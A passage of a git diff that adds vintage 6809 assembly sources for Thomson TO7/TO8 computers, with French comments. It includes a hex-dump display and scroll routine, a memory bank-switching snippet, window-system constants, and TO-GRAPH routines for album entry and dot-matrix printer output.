+CODHEX SUBB   #$30
+       CMPB   #10
+       BLO    COD0
+       SUBB   #7
+COD0   PSHS   B
+       LDB    A,U
+       ANDB   #$0F
+       PSHS   B
+       LSRB
+       LEAX   B,Y
+       LDA    LY
+       LDB    #8
+       MUL
+       LEAX   D,X
+       PULS   A
+       BITA   #1
+       BEQ    GAUCHE
+       PULS   B
+       LDA    ,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       LSLB
+       LSLB
+       LSLB
+       LSLB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       TFR    B,A
+       BRA    ECRIT
+GAUCHE PULS   A
+       LDB    ,X
+       LSLB
+       LSLB
+       LSLB
+       LSLB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       TFR    B,A
+ECRIT  STA    ,X
+       STX    $9900
+       LDB    #9
+       LDA    LY
+       LDB    #8
+       MUL
+       LEAX   D,Y
+       LDA    LY
+       BSR    AFFLI
+       LDA    LX
+       CMPA   #38
+       BNE    NOR1
+       LDA    #31
+       BRA    NOR2
+NOR1   CMPA   #28
+       BNE    NOR3
+       LDA    #6
+NOR2   STA    LX
+       LBRA   KEY101
+NOR3   LBRA   KEY91
+
+K      NOP
+
+
+****AFFICHAGE D'UNE PAGE DEPUIS X ****
+
+AFFICH LDA    #25
+       STA    COMPTY
+NLIGNE BSR    LIGNE
+       DEC    COMPTY
+       BNE    NLIGNE
+       RTS
+
+**** affichage de la ligne no A
+
+AFFLI  NEGA
+       ADDA   #25
+       STA    COMPTY
+
+**** affichage d'une ligne
+
+LIGNE  LDA    #8
+       STA    COMPTX
+       LDB    COMPTY
+       NEGB
+       ADDB   #25
+       CLRA
+       BSR    LOCATE
+       BSR    HEXA4
+       BSR    SPACE
+       BSR    SPACE
+HEXA   LDA    ,X+
+       BSR    HEXA2
+       BSR    SPACE
+       DEC    COMPTX
+       BNE    HEXA
+       LEAX   -8,X
+       LDA    #8
+       STA    COMPTX
+       BSR    SPACE
+ASCII  LDB    ,X+
+       CMPB   #$20
+       BLO    POINT
+       CMPB   #$80
+       BLO    PRINT
+POINT  LDB    #$2E
+PRINT  JSR    $E803
+       DEC    COMPTX
+       BNE    ASCII
+       RTS
+
+****LOCATE A,B
+
+LOCATE PSHS   A
+       PSHS   B
+       LDB    #$1F
+       JSR    $E803
+       PULS   B
+       ADDB   #$40
+       JSR    $E803
+       PULS   B
+       ADDB   #$41
+       JMP    $E803
+
+****HEXA4 AFF. DU NBRE X DE 4 CH.EN HEXA
+
+HEXA4  TFR    X,D
+       PSHS   B
+       BSR    HEXA2
+       PULS   A
+
+****HEXA2 AFF. DU NBRE A DE 2 CH.EN HEXA
+
+HEXA2  TFR    A,B
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       CMPB   #10
+       BLO    HEXA21
+       ADDB   #7
+HEXA21 ADDB   #$30
+       JSR    $E803
+       TFR    A,B
+       ANDB   #$0F
+       CMPB   #10
+       BLO    HEXA22
+       ADDB   #7
+HEXA22 ADDB   #$30
+       JMP    $E803
+
+**** SPACE: AFF. DE A ESPACES
+
+SPACE  LDB    #$20
+       JMP    $E803
+
+**** scroll haut
+
+SCRHAU PSHS   X,Y,U
+       LDB    #$14
+       JSR    $E803
+       LDX    #$4140
+       LDY    #$4000
+       LDA    #192
+SH0    LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    SH0
+       LDB    #$11
+       JSR    $E803
+       PULS   X,Y,U
+       LDA    #24
+       LEAY   8,Y
+       LEAX   192,Y
+       LBSR   AFFLI
+       LBRA   CURSOR
+
+**** scroll bas
+
+SCRBAS PSHS   X,Y,U
+       LDB    #$14
+       JSR    $E803
+       LDX    #$5E00
+       LDY    #$5F40
+       LDA    #192
+SB0    LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       LDU    ,--X
+       STU    ,--Y
+       DECA
+       BNE    SB0
+       LDB    #$11
+       JSR    $E803
+       PULS   X,Y,U
+       CLRA
+       LEAY   -8,Y
+       TFR    Y,X
+       LBSR   AFFLI
+       LBRA   CURSOR
+
+
+
+
+
+
+
+TABLIN FCB    0,0,0,0,0,0,$80,$81,0,$82
+       FCB    $83,0,$84,$85,0,$86,$87,0
+       FCB    $88,$89,0,$8A,$8B,0,$8C
+       FCB    $8D,0,$8E,$8F,0,0
+       FCB    1,1,1,1,1,1,1,1,0
+
+       END
diff --git a/code/3rdparty/sources4-divers/snippets/COMMUT.ASM b/code/3rdparty/sources4-divers/snippets/COMMUT.ASM
new file mode 100644
index 0000000..b1859cb
--- /dev/null
+++ b/code/3rdparty/sources4-divers/snippets/COMMUT.ASM
@@ -0,0 +1,37 @@
+
+
+
+****************************************
+*                                      *
+*             C O M M U T              *
+*                                      *
+****************************************
+*                                      *
+* Routine de sélection des banques de  *
+* la zone mémoire &HA000 - &HDFFF.     *
+*--------------------------------------*
+*                                      *
+*     Manuel de l'assembleur 6809      *
+*        du TO7/TO7-70 page 190        *
+*                                      *
+****************************************
+
+CSR    EQU    $E7C0   Registre d'état
+
+*--------------------------------------*
+
+
+COMMUT EQU    *
+       PSHS   D,X,U
+       LDU    #CSR
+       LDB    11,U
+       ANDB   #$FB
+       STB    11,U
+       LDX    #TAB
+       LDA    A,X
+       STA    9,U
+       ORB    #$04
+       STB    11,U
+       PULS   D,X,U,PC
+TAB    EQU    *
+       FCB    $0F,$17,$E7,$67,$A7,$27
diff --git a/code/3rdparty/sources5-hmel/SOURCE50.SAP b/code/3rdparty/sources5-hmel/SOURCE50.SAP
new file mode 100755
index 0000000..8a1b285
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/SOURCE50.SAP
Binary files differ
diff --git a/code/3rdparty/sources5-hmel/SOURCE51.SAP b/code/3rdparty/sources5-hmel/SOURCE51.SAP
new file mode 100755
index 0000000..c429f0d
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/SOURCE51.SAP
Binary files differ
diff --git a/code/3rdparty/sources5-hmel/TO-FEN/FEN-EQU.ASM b/code/3rdparty/sources5-hmel/TO-FEN/FEN-EQU.ASM
new file mode 100644
index 0000000..947fadf
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-FEN/FEN-EQU.ASM
@@ -0,0 +1,173 @@
+       TITLE  FEN:    parametres
+*      --------------------------
+       PAGE
+
+****************************************
+*                                      *
+*    Parametres du FENETRAGE TO-FEN    *
+*                                      *
+****************************************
+
+
+
+* Couleurs
+*---------------------------------------
+
+NOIR   EQU    0
+ROUGE  EQU    1
+VERT   EQU    2
+JAUNE  EQU    3
+BLEU   EQU    4
+MAGENT EQU    5
+CYAN   EQU    6
+BLANC  EQU    7
+GRIS   EQU    8
+ROSE   EQU    9
+VERTCL EQU    10
+SABLE  EQU    11
+BLEUCL EQU    12
+PARME  EQU    13
+BLEUCI EQU    14
+ORANGE EQU    15
+
+TRANSP EQU    $FF     non gere = transp.
+
+
+* Blocs de descripteurs de fenetres
+*---------------------------------------
+
+FLOCA  EQU    0
+FLOCF  EQU    1
+FLOCR  EQU    2
+FTOURI EQU    3
+FTOURE EQU    4
+FCADRE EQU    5
+FCOULF EQU    6
+FFOND  EQU    7
+FTRAME EQU    8
+FMASQ  EQU    9
+FINVVD EQU    10
+FTEXTE EQU    11
+FEDI   EQU    12
+FCALL  EQU    13
+FDO    EQU    14
+FLOOP  EQU    15
+FSTOP  EQU    16
+FPOUSS EQU    17
+FINV   EQU    18
+FCOMF  EQU    19
+FCZI   EQU    20
+
+
+* Deplacement des indirection vers les
+* S/P de fenetrage dans le binaire
+* relogeable.
+* Nb: BASEF doit etre prealablement
+*     equivalence a l'adresse d'implant.
+*     du binaire
+*---------------------------------------
+
+FENINI EQU    BASEF+0
+FENFIN EQU    BASEF+3
+FENOUV EQU    BASEF+6
+FENRPL EQU    BASEF+9
+FENFER EQU    BASEF+12
+FENACT EQU    BASEF+15
+FENDES EQU    BASEF+18
+FEN    EQU    BASEF+21
+FENLCZ EQU    BASEF+24
+FENCH  EQU    BASEF+27
+FENVIS EQU    BASEF+30
+FENLOC EQU    BASEF+33
+FENLOF EQU    BASEF+36
+FENLOR EQU    BASEF+39
+FENTI  EQU    BASEF+42
+FENTE  EQU    BASEF+45
+FENCAD EQU    BASEF+48
+FENCF  EQU    BASEF+51
+FENFON EQU    BASEF+54
+FENTRA EQU    BASEF+57
+FENMAS EQU    BASEF+60
+FENIVD EQU    BASEF+63
+FENSEL EQU    BASEF+66
+FENTXT EQU    BASEF+69
+FENPUT EQU    BASEF+72
+FENEDI EQU    BASEF+75
+FENTOR EQU    BASEF+78
+FENERR EQU    BASEF+81
+
+SOUDAN EQU    BASEF+84
+DECBIN EQU    BASEF+87
+SIGBIN EQU    BASEF+90
+HEXBIN EQU    BASEF+93
+BINDCG EQU    BASEF+96
+BINDCD EQU    BASEF+99
+BINSGG EQU    BASEF+102
+BINSGD EQU    BASEF+105
+BINHX1 EQU    BASEF+108
+BINHX2 EQU    BASEF+111
+
+SBREAK EQU    BASEF+114
+TBREAK EQU    BASEF+117
+
+DOSSEL EQU    BASEF+120
+DOSDIR EQU    BASEF+123
+DOSFIL EQU    BASEF+126
+DOSCZI EQU    BASEF+129
+DOSINI EQU    BASEF+132
+DOSREN EQU    BASEF+135
+DOSSUP EQU    BASEF+138
+DOSDUP EQU    BASEF+141
+DOSCAT EQU    BASEF+144
+DOSTST EQU    BASEF+147
+DOSCNF EQU    BASEF+150
+DOSERR EQU    BASEF+153
+
+
+* valeur de caractère pour l'édition
+* d'une balise de pointage par FENTXT
+*---------------------------------------
+
+BALISE EQU    $1D
+
+
+* Valeurs des entites d'une fenetre
+*---------------------------------------
+
+OFF    EQU    $00     touches
+ON     EQU    $01
+
+INTERD EQU    $FF     interdiction
+
+TEXTE  EQU    $00     saisies
+DECIM  EQU    $01
+SIGNE  EQU    $02
+HEXA   EQU    $03
+
+
+* Type des entites d'une fenetre
+*---------------------------------------
+
+POUSS  EQU    $00     poussoir
+INVERS EQU    $01     inverseur
+CHACZI EQU    $02     champ de saisie
+
+
+* Déplacements sur le descripteur d'une
+* entite fenetre
+*---------------------------------------
+
+CODEQU EQU    0       code equivalent
+TYP    EQU    1       POUSS:INVERS:CZI
+*                     ------------------
+VAL    EQU    2       OFF  :OFF   :TEXTE
+*                     ON   :ON    :DECIM
+*                          :      :SIGNE
+*                          :      :HEXA
+*                     INTER:INTERD:INTER
+
+RNG    EQU    3       rangee  debut
+COL    EQU    4       colonne debut
+HAUT   EQU    5       hauteur
+LARG   EQU    6       largeur
+SUIV   EQU    7       pointeur bloc suiv
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C1.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C1.ASM
new file mode 100644
index 0000000..1914ed3
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C1.ASM
@@ -0,0 +1,1487 @@
+       TITLE  TO-GRAPH: S/P CARTOUCHE
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    S/P cartouche                     *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P recherche d'un album dans table
+*         (création si inexistant)
+* Entrée: X   pt nom album
+* Sortie: CY  1  pas de place
+*             0  ok
+*         X   pt dans table si ok
+*=======================================
+
+XCHALB PSHS   D,Y,U
+       LEAS   -1,S
+ALBC   SET    0
+PD     SET    1
+*---------------------------------------
+
+       LBSR   XPTALB
+       BCC    CHALBF    trouvé ->
+
+       TST    MAXALB
+       BEQ    CHALBR    pas de place ->
+       LDU    #TABALB
+       CLR    ALBC,S
+CHAL1  TST    8,U
+       BMI    CHAVID    poste vide ->
+       INC    ALBC,S
+       LDA    ALBC,S
+       CMPA   MAXALB
+       BGE    CHALBR    pas de place ->
+       LEAU   9,U
+       BRA    CHAL1     ->
+
+CHAVID LDA    #8
+CHAVI0 LDB    ,X+
+       STB    ,U+
+       DECA
+       BNE    CHAVI0    ->
+       NEG    ,U        marque occupé
+       LEAX   -8,U
+       INC    NBALB
+CHALBF ANDCC  #$FE
+       LEAS   1,S
+       PULS   D,Y,U,PC   ->>
+CHALBR LDB    #7        'out of memory'
+       JSR    DOSERR
+       ORCC   #$01
+       LEAS   1,S
+       PULS   D,Y,U,PC   ->>
+
+
+*=======================================
+* S/P saisie d'un album
+*
+* Entrée: A,B coordonnées fenêtre
+*         X   Pt  recepteur nom
+* Sortie: CY  1  Raz
+*             0  ok
+*        (X)  zone nom rendu
+*=======================================
+
+FCZIAL FCB    FLOCF,0,0,11,26
+       FCB    FTRAME,FTOURI
+       FCB    FLOCF,1,1,5,24
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,7,1,3,24
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,2,3,1,24
+       FCB    FEDI
+       FCC    \Nomdel'album:\
+       FCB    0
+       FCB    FLOCF,4,16,1,8
+       FCB    FTOURE
+       FCB    FCZI,255,TEXTE
+
+       FCB    FLOCF,8,3,1,24
+       FCB    FEDI
+       FCC    \OK\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCF,8,6,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCF,8,22,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+*---------------------------------------
+XCZIAL PSHS   D,X,Y,U
+       LEAS   -9,S
+BUF1   SET    0
+PD     SET    9
+PX     SET    11
+*---------------------------------------
+
+       LEAX   FCZIAL,PCR
+       JSR    FENOUV
+
+       JSR    FENACT    sélection
+CZIAL1 JSR    FEN
+       TSTB
+       BEQ    CZIAL1    ->
+       CMPB   #FF
+       BEQ    CZIALR    raz ->
+       CMPB   #RC
+       BEQ    CZIALO    RC  ->
+       BRA    CZIAL1    ->
+
+CZIALO LDX    PX,S      résultat
+       LDB    #8
+       LDA    #SP
+CZIAO0 STA    ,X+
+       DECB
+       BNE    CZIAO0    ->
+       LEAX   BUF1,S
+       LDB    #255
+       JSR    FENLCZ
+       LEAX   BUF1,S
+       LDY    PX,S
+CZIAO1 LDA    ,X+
+       BEQ    CZIAO2    ->
+       STA    ,Y+
+       BRA    CZIAO1    ->
+
+CZIAO2 CLRB
+       JSR    FENFER
+       JSR    FENACT
+       ANDCC  #$FE
+       LEAS   9,S
+       PULS   D,X,Y,U,PC ->>
+CZIALR CLRB
+       JSR    FENFER
+       JSR    FENACT
+       ORCC   #$01
+       LEAS   9,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P raz d'une rectangulaire au point
+*
+* Entrée: XT0,YT0 coord. début
+*         XT1,YT1 coord. fin
+*=======================================
+
+XCLRTI LDA    #$FF
+       STA    FILFLG
+       LDD    #PLEIN
+       STD    MACP
+       LDU    #TRRAZ
+       LBSR   COMBK1
+       LDX    <XT0
+       STX    XXXXXX
+       CLRA
+       LDB    <YT0
+       STD    YYYYYY
+       LDX    <XT1
+       CLRA
+       LDB    <YT1
+       TFR    D,Y
+       LDB    #BOX
+       JSR    EXTRA
+       LDU    #TRNORM
+       LBSR   COMBK1
+       RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A  car. à ecrire
+* Sortie: CY 0 si ok
+*            1 si erreur (fichier sera
+*                         fermé !)
+*=======================================
+
+XECRFI PSHS   B
+*---------------------------------------
+       LDB    #PRINT
+       JSR    EXTRA
+       TSTB
+       BNE    ECFIR     erreur ->
+       ANDCC  #$FE
+       PULS   B,PC      ->>
+
+ECFIR  PSHS   B
+       LDB    #CLOSE    # erreur PRINT
+       JSR    EXTRA
+       PULS   B
+       JSR    DOSERR
+       ORCC   #$1
+       PULS   B,PC      ->>
+
+
+*=======================================
+* S/P impression d'un fragment de page
+*     limité par CADRNG-CADCOL
+*                CADHAU-CADLAR
+* Entrée  B interrupteur pleine page
+*=======================================
+
+FFCIMP FCB    FLOCF,0,0,11,24
+       FCB    FTRAME,FTOURI
+
+       FCB    FLOCF,1,1,5,22
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,2,3,1,22
+       FCB    FEDI
+       FCC    \Impr.OK?\
+       FCB    0
+       FCB    FLOCR,0,6,1,7
+       FCB    FTOURE,FCADRE
+       FCB    FPOUSS,'I,OFF
+       FCB    FLOCF,4,6,1,22
+       FCB    FEDI
+       FCC    \Brouillon\
+       FCB    BALISE,0
+       FCB    FLOCR,0,10,1,1
+       FCB    FINV,'B,OFF
+
+       FCB    FLOCF,7,1,3,22
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,8,3,1,22
+       FCB    FEDI
+       FCC    \OK\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCF,8,6,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCF,8,20,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+MTYPIP FCC    \THOMSON\
+       FCB    0
+       FCC    \EPSON\
+       FCB    0
+       FCC    \IBM\
+       FDB    0
+
+TYPIMP FCB    THOMSO  type imprimante
+THOMSO EQU    0
+EPSON  EQU    1
+IBM    EQU    2
+MAXIMP EQU    3
+
+*---------------------------------------
+XIMPPA PSHS   B
+       LEAS   -963,S
+FLGPAS SET    0
+MEMBK  SET    1
+DBK    SET    2
+BUFFER SET    3
+PB     SET    963
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+
+       LDD    #$0633
+       LEAX   FFCIMP,PCR
+       JSR    FENOUV
+
+IMPC00 LDB    #'I
+       JSR    FENCH
+       LEAX   TYPIMP,PCR
+       LDA    ,X
+       LDB    #8
+       MUL
+       LEAX   MTYPIP,PCR
+       LEAX   D,X
+
+       JSR    FENFON
+       JSR    FENEDI
+
+* Sélection opérateur
+
+IMPC0  JSR    FENACT    sélection
+IMPC1  JSR    FEN
+       TSTB
+       BEQ    IMPC1     ->
+       CMPB   #FF
+       LBEQ   IMPCRZ    raz ->
+       CMPB   #RC
+       BEQ    IMPCOK    RC  ->
+       CMPB   #'I
+       BEQ    CHGIMP    Imprim. ->
+       BRA    IMPC1     ->
+
+CHGIMP JSR    FENDES
+       LEAX   TYPIMP,PCR
+       LDA    ,X
+       INCA
+       CMPA   #MAXIMP
+       BNE    CHGIM0    ->
+       CLRA
+CHGIM0 LDB    $E7E6     autorise écritur
+       ORB    #$40      cartouche
+       STB    $E7E6
+       STA    ,X
+       LDB    $E7E6     interdit écritur
+       ANDB   #$BF      cartouche
+       STB    $E7E6
+       LBRA   IMPC00    ->
+
+IMPCOK JSR    FENDES
+       JSR    FENCH
+       JSR    FENIVD
+       LDB    #'B
+       JSR    FENCH
+       CLR    FLGPAS,S
+       LDA    VAL,X
+       CMPA   #OFF
+       BNE    LIMPC    ->
+       COM    FLGPAS,S
+
+LIMPC  LDA    #$40     open //
+       STA    RSOPC
+       JSR    RSCO
+       LBCS   IMPCRZ    ->
+
+       LDA    #$08     écriture //
+       STA    RSOPC
+
+       LEAX   TYPIMP,PCR
+       LDA    ,X
+       CMPA   #IBM
+       BEQ    SETIP0   ->
+       LDB    #ESC     reset imprimante
+       JSR    RSCO
+       LDB    #'@
+       JSR    RSCO
+
+SETIP0 CMPA   #THOMSO
+       BNE    SETIP1   ->
+*                      THOMSON
+       LDB    #ESC     suppress inter
+       JSR    RSCO     ligne
+       LDB    #$39
+       JSR    RSCO
+       BRA    SETIP3   ->
+*                      IBM EPSON
+SETIP1 LDB    #ESC     suppress inter
+       JSR    RSCO     ligne
+       LDB    #'3
+       JSR    RSCO
+       LDB    #24
+       TST    FLGPAS,S
+       BEQ    SETI11   ->
+       DECB            double passe
+SETI11 JSR    RSCO
+       TST    FLGPAS,S
+       BEQ    SETIP2   ->
+       LDB    #ESC     unidirectionnel
+       JSR    RSCO
+       LDB    #'U
+       JSR    RSCO
+       LDB    #1
+       JSR    RSCO
+SETIP2 CMPA   #IBM
+       BNE    SETIP3   ->
+       LDB    #ESC     supprime auto LF
+       JSR    RSCO
+       LDB    #'5
+       JSR    RSCO
+       LDB    #0
+       JSR    RSCO
+SETIP3 EQU    *
+
+       LDB    PB,S     passez lignes
+       CMPB   #ON      en pleine page
+       BNE    LIMPC0   ->
+
+       LDA    CADRNG
+       STA    <CPTLT
+BIMPC0 BEQ    LIMPC0
+       LDB    #LF
+       JSR    RSCO
+
+       LEAX   BUFFER,S  test d'interrupt
+       LDD    #$0D39
+       JSR    SBREAK
+       LBCS   IMPCAB    ->
+
+       DEC    <CPTLT
+       BRA    BIMPC0   ->
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+LIMPC0 LDA    CADRNG    *60*8 !
+       LSLA
+       LDB    #60*4
+       MUL
+       ADDB   CADCOL
+       ADCA   #0
+       ADDD   <ADF
+       BCC    LIMPC1    ->
+       ADDD   #$FFFF-48959
+LIMPC1 CMPD   #48960
+       BCS    LIMPC2    ->
+       SUBD   #48960
+LIMPC2 STD    <ADPRRL
+       ROLA
+       ROLA
+       ROLA
+       ANDA   #3
+       ADDA   #PBKTRA
+       STA    DBK,S
+       LDD    <ADPRRL
+       ANDA   #$3F
+       ADDD   #$A000
+       STD    <ADPRRL
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 0
+
+BRIP0  LDA    DBK,S
+       STA    BANKC
+       LDA    #9
+       STA    <CPTLT
+       LDY    <ADPRRL
+BRIP2  LEAX   BUFFER,S
+       LDA    #9
+       SUBA   <CPTLT
+       LEAX   A,X
+       DEC    <CPTLT
+       LBEQ   RIP0F     -->
+       LDA    BANKC
+       LDB    #60
+       CMPA   #PBKTRA+2
+       BEQ    RIP0D     dernier bank ->
+       CMPY   #$E000-59
+       BCS    BRIP01    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$E000
+       SUBD   ,S++
+       STB    <CPTCT
+BRIP00 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP00    ->
+       INC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRIP01 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP01    ->
+       CMPY   #$E000
+       BCS    BRIP2     ->
+       INC    BANKC
+       LDY    #$A000
+       BRA    BRIP2     ->
+
+RIP0D  CMPY   #$DF40-59 dernier bank
+       BCS    BRIP03    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$DF40
+       SUBD   ,S++
+       STB    <CPTCT
+BRIP02 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP02    ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRIP03 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP03    ->
+       CMPY   #$DF40
+       LBCS   BRIP2     ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LBRA   BRIP2     ->
+RIP0F  EQU    *
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 1
+
+       LDA    DBK,S
+       ADDA   #3
+       STA    BANKC
+       LDA    #9
+       STA    <CPTLT
+       LDY    <ADPRRL
+BRIP3  LEAX   BUFFER,S
+       LEAX   8,X
+       LDA    #9
+       SUBA   <CPTLT
+       LEAX   A,X
+       DEC    <CPTLT
+       LBEQ   RIP1F     -->
+       LDA    BANKC
+       LDB    #60
+       CMPA   #PBKTRA+5
+       BEQ    RIP1D     dernier bank ->
+       CMPY   #$E000-59
+       BCS    BRIP11    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$E000
+       SUBD   ,S++
+       STB    <CPTCT
+BRIP10 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP10    ->
+       INC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRIP11 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP11    ->
+       CMPY   #$E000
+       BCS    BRIP3     ->
+       INC    BANKC
+       LDY    #$A000
+       BRA    BRIP3     ->
+
+RIP1D  CMPY   #$DF40-59 dernier bank
+       BCS    BRIP13    trait. 60 ok ->
+       PSHS   Y         trait. en 2 fois
+       LDD    #$DF40
+       SUBD   ,S++
+       STB    <CPTCT
+BRIP12 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP12    ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LDB    #60
+       SUBB   <CPTCT
+BRIP13 LDA    ,Y+
+       STA    ,X
+       LEAX   16,X
+       DECB
+       BNE    BRIP13    ->
+       CMPY   #$DF40
+       LBCS   BRIP3     ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LBRA   BRIP3     ->
+
+RIP1F  STY    <ADPRRL
+       LDA    BANKC
+       SUBA   #3
+       STA    DBK,S
+
+*      Edition ligne graphique
+
+       LEAX   BUFFER,S
+       LDB    CADLAR
+       LDA    FLGPAS,S
+       LBSR   XIMPLI
+
+       LEAX   BUFFER,S  test d'interrupt
+       LDD    #$0D39
+       JSR    SBREAK
+       BCS    IMPCAB    ->
+
+       DEC    CADHAU
+       LBNE   BRIP0     ->
+
+IMPCAB LDB    #ESC     reset imprimante
+       JSR    RSCO
+       LDB    #'@
+       LEAX   TYPIMP,PCR
+       LDA    ,X
+       CMPA   #IBM
+       BNE    RSTIP    ->
+       LDB    #'2
+RSTIP  JSR    RSCO
+       CMPA   #THOMSO
+       BEQ    RSTIP1   ->
+       LDB    #ESC     bidirectionnel
+       JSR    RSCO
+       LDB    #'U
+       JSR    RSCO
+       LDB    #0
+       JSR    RSCO
+
+RSTIP1 LDA    #$10     close
+       STA    RSOPC
+       JSR    RSCO
+
+IMPCRZ LDA    MEMBK,S
+       STA    BANKC
+       LEAS   963,S
+       CLRB
+       JSR    FENFER
+       PULS   B,PC
+
+
+*=======================================
+* S/P impression d'une ligne graphique
+*
+* Entrée X  pt buffer
+*           8 seg. 1er  car
+*           8 seg. 2eme car
+*           ...
+*        A  0 en simple passage
+*          #0 en double passage
+*        B  nb car.
+*=======================================
+
+XIMPLI PSHS   D,X,Y,U
+       LEAS   -10,S
+BUFV   SET    0
+NBSEG  SET    8
+PA     SET    10
+PB     SET    11
+PX     SET    12
+*---------------------------------------
+       STB    CPTLT
+
+*      Codage buffer en colonnes
+BIMPL0 LEAY   BUFV,S    raz mano
+       LDA    #8
+BIMPL1 CLR    ,Y+
+       DECA
+       BNE    BIMPL1    ->
+
+       LDA    #8        colonnes car.
+       STA    CPTCT     cour. -> mano
+BIMPL2 LDA    #8
+       LEAY   BUFV,S
+       LDB    ,X+
+BIMPL3 LSLB
+       ROR    ,Y+
+       DECA
+       BNE    BIMPL3    ->
+       DEC    CPTCT
+       BNE    BIMPL2    ->
+
+       LEAX   -8,X      buffer recodé
+       LEAY   BUFV,S
+       LDA    #8
+BIMPL4 LDB    ,Y+
+       STB    ,X+
+       DECA
+       BNE    BIMPL4    ->
+
+       DEC    CPTLT
+       BNE    BIMPL0    car. suiv ->
+
+*      Calcul et codage ASCII nb segment
+*      en soustrayant les nuls de droite
+       LDB    PB,S
+       LDA    #8
+       MUL
+       LDX    PX,S
+       LEAX   D,X
+LIMPK0 TST    ,-X
+       BNE    LIMPK1    ->
+       SUBD   #1
+       BNE    LIMPK0    ->
+LIMPK1 ADDD   #1        force pair
+       ANDB   #$FE
+       STD    NBSEG,S
+       LBEQ   LIMPL3    rien ->
+
+       LEAX   BUFV,S
+       LDY    #3
+       JSR    BINDCD
+       LDA    #3
+       LEAX   BUFV,S
+BIMPL5 LDB    ,X+
+       CMPB   #$20
+       BNE    LIMPL0    ->
+       ADDB   #$10
+       STB    -1,X
+       DECA
+       BNE    BIMPL5    ->
+
+
+LIMPL0 LDB    #ESC      édition graphiq.
+       JSR    RSCO
+
+       LEAY   TYPIMP,PCR
+       LDA    ,Y
+       CMPA   #THOMSO
+       BNE    SETGR0    ->
